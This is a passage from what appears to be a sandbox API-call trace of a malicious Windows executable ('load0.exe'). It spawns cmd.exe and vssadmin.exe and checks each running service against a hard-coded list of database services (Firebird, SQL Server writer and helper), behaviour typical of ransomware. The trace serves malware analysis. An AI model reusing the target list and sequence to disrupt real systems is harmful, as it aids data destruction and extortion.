cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0254.269] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0254.269] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0254.270] lstrlenW (lpString="load0.exe") returned 9 [0254.270] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0254.271] lstrlenW (lpString="cmd.exe") returned 7 [0254.271] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0254.272] lstrlenW (lpString="conhost.exe") returned 11 [0254.272] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0254.273] lstrlenW (lpString="consent.exe") returned 11 [0254.273] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0254.274] lstrlenW (lpString="vssadmin.exe") returned 12 [0254.274] Process32NextW (in: hSnapshot=0x1194, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0254.276] CloseHandle (hObject=0x1194) returned 1 [0254.276] Sleep (dwMilliseconds=0x1f4) [0255.356] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f647f8 [0255.357] EnumServicesStatusExW (in: hSCManager=0x3f647f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0255.357] GetLastError () returned 0xea [0255.357] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x4063118 [0255.357] EnumServicesStatusExW (in: hSCManager=0x3f647f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4063118, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4063118, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0255.358] CloseServiceHandle (hSCObject=0x3f647f8) returned 1 [0255.358] lstrlenW (lpString="Appinfo") returned 7 [0255.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0255.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0255.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0255.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0255.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0255.359] lstrlenW (lpString="AppXSvc") returned 7 [0255.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0255.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0255.359] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0255.359] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0255.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0255.359] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0255.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0255.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0255.359] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0255.359] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0255.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0255.359] lstrlenW (lpString="Audiosrv") returned 8 [0255.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0255.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0255.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0255.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0255.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0255.359] lstrlenW (lpString="BFE") returned 3 [0255.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0255.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0255.359] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0255.359] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0255.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0255.359] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0255.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0255.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0255.359] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0255.359] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0255.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0255.359] lstrlenW (lpString="CDPSvc") returned 6 [0255.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0255.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0255.360] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0255.360] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0255.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0255.360] lstrlenW (lpString="ClickToRunSvc") returned 13 [0255.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0255.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0255.360] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0255.360] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0255.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0255.360] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0255.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0255.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0255.360] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0255.360] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0255.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0255.360] lstrlenW (lpString="CryptSvc") returned 8 [0255.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0255.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0255.360] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0255.360] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0255.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0255.360] lstrlenW (lpString="DcomLaunch") returned 10 [0255.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0255.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0255.360] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0255.360] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0255.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0255.360] lstrlenW (lpString="DeviceAssociationService") returned 24 [0255.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0255.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0255.361] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0255.361] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0255.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0255.361] lstrlenW (lpString="Dhcp") returned 4 [0255.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0255.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0255.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0255.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0255.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0255.361] lstrlenW (lpString="Dnscache") returned 8 [0255.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0255.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0255.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0255.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0255.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0255.361] lstrlenW (lpString="DPS") returned 3 [0255.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0255.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0255.361] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0255.361] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0255.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0255.361] lstrlenW (lpString="DusmSvc") returned 7 [0255.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0255.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0255.361] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0255.361] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0255.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0255.361] lstrlenW (lpString="EventLog") returned 8 [0255.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0255.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0255.361] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0255.361] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0255.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0255.361] lstrlenW (lpString="EventSystem") returned 11 [0255.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0255.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0255.362] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0255.362] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0255.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0255.362] lstrlenW (lpString="FontCache") returned 9 [0255.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0255.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0255.362] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0255.362] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0255.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0255.362] lstrlenW (lpString="gpsvc") returned 5 [0255.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0255.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0255.362] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0255.362] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0255.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0255.362] lstrlenW (lpString="iphlpsvc") returned 8 [0255.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0255.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0255.362] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0255.362] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0255.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0255.362] lstrlenW (lpString="KeyIso") returned 6 [0255.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0255.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0255.362] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0255.362] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0255.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0255.363] lstrlenW (lpString="LanmanServer") returned 12 [0255.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0255.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0255.363] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0255.363] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0255.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0255.363] lstrlenW (lpString="LanmanWorkstation") returned 17 [0255.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0255.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0255.363] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0255.363] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0255.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0255.363] lstrlenW (lpString="lfsvc") returned 5 [0255.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0255.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0255.363] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0255.363] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0255.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0255.363] lstrlenW (lpString="lmhosts") returned 7 [0255.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0255.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0255.363] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0255.363] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0255.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0255.363] lstrlenW (lpString="LSM") returned 3 [0255.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0255.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0255.364] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0255.364] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0255.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0255.364] lstrlenW (lpString="MpsSvc") returned 6 [0255.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0255.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0255.364] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0255.364] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0255.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0255.364] lstrlenW (lpString="NcbService") returned 10 [0255.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0255.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0255.364] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0255.364] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0255.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0255.364] lstrlenW (lpString="netprofm") returned 8 [0255.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0255.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0255.364] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0255.364] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0255.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0255.364] lstrlenW (lpString="NgcSvc") returned 6 [0255.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0255.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0255.364] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0255.364] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0255.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0255.364] lstrlenW (lpString="NlaSvc") returned 6 [0255.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0255.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0255.365] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0255.365] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0255.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0255.365] lstrlenW (lpString="nsi") returned 3 [0255.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0255.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0255.365] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0255.365] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0255.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0255.365] lstrlenW (lpString="PcaSvc") returned 6 [0255.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0255.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0255.365] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0255.365] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0255.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0255.365] lstrlenW (lpString="PlugPlay") returned 8 [0255.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0255.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0255.365] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0255.365] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0255.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0255.365] lstrlenW (lpString="Power") returned 5 [0255.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0255.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0255.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0255.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0255.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0255.365] lstrlenW (lpString="ProfSvc") returned 7 [0255.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0255.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0255.365] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0255.365] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0255.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0255.366] lstrlenW (lpString="RpcEptMapper") returned 12 [0255.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0255.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0255.366] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0255.366] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0255.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0255.366] lstrlenW (lpString="RpcSs") returned 5 [0255.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0255.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0255.366] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0255.366] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0255.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0255.366] lstrlenW (lpString="SamSs") returned 5 [0255.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0255.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0255.366] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0255.366] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0255.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0255.366] lstrlenW (lpString="Schedule") returned 8 [0255.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0255.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0255.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0255.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0255.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0255.366] lstrlenW (lpString="SecurityHealthService") returned 21 [0255.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0255.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0255.366] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0255.366] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0255.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0255.366] lstrlenW (lpString="SENS") returned 4 [0255.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0255.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0255.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0255.367] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0255.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0255.367] lstrlenW (lpString="ShellHWDetection") returned 16 [0255.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0255.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0255.367] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0255.367] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0255.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0255.367] lstrlenW (lpString="Spooler") returned 7 [0255.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0255.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0255.367] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0255.367] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0255.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0255.367] lstrlenW (lpString="StateRepository") returned 15 [0255.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0255.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0255.367] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0255.367] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0255.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0255.367] lstrlenW (lpString="SysMain") returned 7 [0255.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0255.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0255.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0255.367] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0255.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0255.367] lstrlenW (lpString="SystemEventsBroker") returned 18 [0255.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0255.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0255.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0255.368] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0255.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0255.368] lstrlenW (lpString="Themes") returned 6 [0255.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0255.368] lstrcmpiW 